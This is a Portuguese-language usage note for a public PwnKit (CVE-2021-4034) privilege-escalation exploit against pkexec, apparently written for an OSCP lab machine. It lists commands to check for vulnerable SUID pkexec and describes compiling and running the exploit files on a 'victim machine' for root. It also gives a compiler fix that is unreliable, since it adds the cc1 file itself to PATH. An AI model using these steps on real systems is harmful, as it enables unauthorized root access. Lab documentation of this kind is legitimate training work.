
Exploit para CVE-2021-4034 (PwnKit) que explora uma vulnerabilidade de escalada de privilégio local no binário pkexec do polkit, permitindo acesso root não autenticado em sistemas Linux afetados.
Eu não escrevi isto. Isto serve apenas para documentar a minha execução/instrução do uso do exploit, pois há alguns passos bastante intrincados e complicados a seguir.
Os ficheiros provêm da seguinte fonte: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html
Assistência adicional na execução encontrada aqui: https://ine.com/blog/exploiting-pwnkit-cve-20214034
Isto foi testado/executado na VM de Prática Blackgate do OSCP: Ubuntu 20.04 Kernel 5.8.0-63-generic
Como saber se é vulnerável:
Verifique a existência de SUID e certifique-se de que /usr/bin/pkexec é um binário SUID:
find / -perm -4000 2>/dev/null
Verifique as permissões do binário:
ls -al /usr/bin/pkexec
Verifique a versão do pkexec:
/usr/bin/pkexec --version
Versão vulnerável encontrada no Blackgate: pkexec version 0.105
Certifique-se de que o compilador está disponível na máquina vítima.
gcc version
Copie os ficheiros para a máquina vítima (Makefile, evil-so.c, exploit.c) E compile usando o comando 'make all'. Execute './exploit'
Verifique a shell
se obtiver um erro a indicar que cc: error trying to exec 'cc1': execvp: No such file or directory.
use o comando locate cc1 para encontrar os binários:
locate cc1
/lib/modules/4.15.0-20-generic/kernel/drivers/iio/adc/cc10001_adc.ko
/lib/modules/4.15.0-20-generic/vdso/.build-id/a0/297fe29f8038ef50a10a26c9fcf5249ccc1184.debug
/usr/lib/gcc/x86_64-linux-gnu/7/cc1
/usr/lib/gcc/x86_64-linux-gnu/7/libcc1.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0.0.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0.0.0
# Depois exporte a localização para o Path como referência, tente compilar novamente
Jack@oscp:/home/Jack$ export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/7/cc1